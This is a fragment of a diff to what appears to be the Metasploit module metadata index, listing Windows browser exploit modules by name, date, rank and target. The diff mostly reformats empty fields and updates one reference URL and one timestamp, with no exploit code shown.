"exploit/windows/browser/ms08_078_xml_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-12-07", "type": "exploit", @@ -146935,12 +130990,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -146951,17 +131002,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms09_002_memory_corruption": { "name": "MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption", "fullname": "exploit/windows/browser/ms09_002_memory_corruption", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-10", "type": "exploit", @@ -146977,12 +131025,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 / Windows Vista SP0 / IE 7" ], @@ -146993,17 +131037,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms09_043_owc_htmlurl": { "name": "Microsoft OWC Spreadsheet HTMLURL Buffer Overflow", "fullname": "exploit/windows/browser/ms09_043_owc_htmlurl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-11", "type": "exploit", @@ -147021,12 +131062,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - IE6 - Office XP SP0", "Windows XP SP3 - IE6 - Office XP SP3" @@ -147038,17 +131075,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms09_043_owc_msdso": { "name": "Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption", "fullname": "exploit/windows/browser/ms09_043_owc_msdso", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-13", "type": "exploit", @@ -147070,12 +131104,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], @@ -147086,17 +131116,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms09_072_style_object": { "name": "MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption", "fullname": "exploit/windows/browser/ms09_072_style_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-20", "type": "exploit", @@ -147115,12 +131142,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -147131,17 +131154,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_002_aurora": { "name": "MS10-002 Microsoft Internet Explorer \"Aurora\" Memory Corruption", "fullname": "exploit/windows/browser/ms10_002_aurora", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-14", "type": "exploit", @@ -147159,12 +131179,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -147175,17 +131191,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_002_ie_object": { "name": "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", "fullname": "exploit/windows/browser/ms10_002_ie_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-21", "type": "exploit", @@ -147205,12 +131218,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", @@ -147223,17 +131232,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_018_ie_behaviors": { "name": "MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free", "fullname": "exploit/windows/browser/ms10_018_ie_behaviors", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-09", "type": "exploit", @@ -147255,12 +131261,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista", "IE 6 SP0-SP2 (onclick)", @@ -147273,17 +131275,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_018_ie_tabular_activex": { "name": "MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption", "fullname": "exploit/windows/browser/ms10_018_ie_tabular_activex", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-09", "type": "exploit", @@ -147302,12 +131301,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (Heap Spray)" ], @@ -147318,17 +131313,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_022_ie_vbscript_winhlp32": { "name": "MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution", "fullname": "exploit/windows/browser/ms10_022_ie_vbscript_winhlp32", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-26", "type": "exploit", @@ -147347,12 +131339,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer on Windows" @@ -147364,17 +131352,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_026_avi_nsamplespersec": { "name": "MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow", "fullname": "exploit/windows/browser/ms10_026_avi_nsamplespersec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-13", "type": "exploit", @@ -147390,39 +131375,32 @@ "OSVDB-63749", "BID-39303", "MSB-MS10-026", - "URL-https://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/", + "URL-http://web.archive.org/web/20110916145030/http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/", "URL-http://www.phreedom.org/research/bypassing-browser-memory-protections/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_026_avi_nsamplespersec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_042_helpctr_xss_cmd_exec": { "name": "Microsoft Help Center XSS and Command Execution", "fullname": "exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-09", "type": "exploit", @@ -147439,12 +131417,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -147455,17 +131429,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_046_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/browser/ms10_046_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-16", "type": "exploit", @@ -147483,12 +131454,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -147499,17 +131466,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms10_090_ie_css_clip": { "name": "MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption", "fullname": "exploit/windows/browser/ms10_090_ie_css_clip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-11-03", "type": "exploit", @@ -147530,12 +131494,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Debug", @@ -147549,17 +131509,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms11_003_ie_css_import": { "name": "MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free", "fullname": "exploit/windows/browser/ms11_003_ie_css_import", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-11-29", "type": "exploit", @@ -147580,12 +131537,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 8", @@ -147600,17 +131553,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms11_050_mshtml_cobjectelement": { "name": "MS11-050 IE mshtml!CObjectElement Use After Free", "fullname": "exploit/windows/browser/ms11_050_mshtml_cobjectelement", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-06-16", "type": "exploit", @@ -147629,12 +131579,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 7 on XP SP3", @@ -147650,17 +131596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms11_081_option": { "name": "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", "fullname": "exploit/windows/browser/ms11_081_option", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-11", "type": "exploit", @@ -147680,12 +131623,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", @@ -147699,17 +131638,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms11_093_ole32": { "name": "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", "fullname": "exploit/windows/browser/ms11_093_ole32", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-13", "type": "exploit", @@ -147729,12 +131665,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3 / Visio Viewer 2010", @@ -147747,17 +131679,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms12_004_midi": { "name": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "fullname": "exploit/windows/browser/ms12_004_midi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-10", "type": "exploit", @@ -147776,12 +131705,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -147795,17 +131720,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms12_037_ie_colspan": { "name": "MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow", "fullname": "exploit/windows/browser/ms12_037_ie_colspan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -147826,12 +131748,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3 with msvcrt ROP", @@ -147844,17 +131762,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms12_037_same_id": { "name": "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", "fullname": "exploit/windows/browser/ms12_037_same_id", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -147876,12 +131791,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3 with msvcrt ROP", @@ -147895,17 +131806,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_009_ie_slayoutrun_uaf": { "name": "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", "fullname": "exploit/windows/browser/ms13_009_ie_slayoutrun_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-02-13", "type": "exploit", @@ -147922,12 +131830,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3" @@ -147939,17 +131843,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_022_silverlight_script_object": { "name": "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", "fullname": "exploit/windows/browser/ms13_022_silverlight_script_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-12", "type": "exploit", @@ -147973,12 +131874,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64" ], @@ -147989,17 +131886,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_037_svg_dashstyle": { "name": "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", "fullname": "exploit/windows/browser/ms13_037_svg_dashstyle", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-06", "type": "exploit", @@ -148020,12 +131914,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 on Windows 7 SP1" ], @@ -148036,17 +131926,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_055_canchor": { "name": "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", "fullname": "exploit/windows/browser/ms13_055_canchor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-09", "type": "exploit", @@ -148066,12 +131953,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", @@ -148084,17 +131967,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_059_cflatmarkuppointer": { "name": "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", "fullname": "exploit/windows/browser/ms13_059_cflatmarkuppointer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-27", "type": "exploit", @@ -148114,12 +131994,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -148130,17 +132006,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_069_caret": { "name": "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", "fullname": "exploit/windows/browser/ms13_069_caret", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-09-10", "type": "exploit", @@ -148158,12 +132031,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 on Windows XP SP3" ], @@ -148174,17 +132043,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_080_cdisplaypointer": { "name": "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", "fullname": "exploit/windows/browser/ms13_080_cdisplaypointer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-08", "type": "exploit", @@ -148203,12 +132069,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", @@ -148222,17 +132084,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms13_090_cardspacesigninhelper": { "name": "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", "fullname": "exploit/windows/browser/ms13_090_cardspacesigninhelper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-08", "type": "exploit", @@ -148251,12 +132110,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP with IE 8" ], @@ -148267,17 +132122,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms14_012_cmarkup_uaf": { "name": "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", "fullname": "exploit/windows/browser/ms14_012_cmarkup_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-13", "type": "exploit", @@ -148297,12 +132149,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / IE 10 / FP 12" ], @@ -148313,17 +132161,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms14_012_textrange": { "name": "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", "fullname": "exploit/windows/browser/ms14_012_textrange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-11", "type": "exploit", @@ -148339,12 +132184,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -148355,17 +132196,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms14_064_ole_code_execution": { "name": "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", "fullname": "exploit/windows/browser/ms14_064_ole_code_execution", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-11-13", "type": "exploit", @@ -148391,12 +132229,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP", "Windows 7" @@ -148408,17 +132242,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/ms16_051_vbscript": { "name": "Internet Explorer 11 VBScript Engine Memory Corruption", "fullname": "exploit/windows/browser/ms16_051_vbscript", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-05-10", "type": "exploit", @@ -148434,12 +132265,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 10 with IE 11" @@ -148451,17 +132278,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/msvidctl_mpeg2": { "name": "Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption", "fullname": "exploit/windows/browser/msvidctl_mpeg2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-05", "type": "exploit", @@ -148479,12 +132303,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], @@ -148495,17 +132315,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/mswhale_checkforupdates": { "name": "Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/mswhale_checkforupdates", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-15", "type": "exploit", @@ -148521,12 +132338,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -148537,17 +132350,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/msxml_get_definition_code_exec": { "name": "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", "fullname": "exploit/windows/browser/msxml_get_definition_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-06-12", "type": "exploit", @@ -148570,12 +132380,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -148592,17 +132398,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/nctaudiofile2_setformatlikesample": { "name": "NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow", "fullname": "exploit/windows/browser/nctaudiofile2_setformatlikesample", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-01-24", "type": "exploit", @@ -148621,12 +132424,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 Pro English (IE6)" ], @@ -148637,17 +132436,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/nis2004_antispam": { "name": "Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/nis2004_antispam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-03-19", "type": "exploit", @@ -148663,12 +132459,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -148679,17 +132471,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/nis2004_get": { "name": "Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/nis2004_get", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-16", "type": "exploit", @@ -148705,12 +132494,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" @@ -148722,17 +132507,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/notes_handler_cmdinject": { "name": "IBM Lotus Notes Client URL Handler Command Injection", "fullname": "exploit/windows/browser/notes_handler_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", @@ -148753,12 +132535,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -148769,17 +132547,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/browser/novell_groupwise_gwcls1_actvx": { "name": "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/novell_groupwise_gwcls1_actvx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-30", "type": "exploit", @@ -148798,12 +132573,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -148821,17 +132592,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_callbackurl": { "name": "Novell iPrint Client ActiveX Control call-back-url Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_callbackurl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-20", "type": "exploit", @@ -148848,12 +132616,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -148864,17 +132628,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_datetime": { "name": "Novell iPrint Client ActiveX Control Date/Time Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_datetime", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-08", "type": "exploit", @@ -148891,12 +132652,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iPrint 5.30 Windows Client" ], @@ -148907,17 +132664,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/novelliprint_executerequest": { "name": "Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_executerequest", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-22", "type": "exploit", @@ -148933,12 +132687,8 @@ "platform": "Windows", 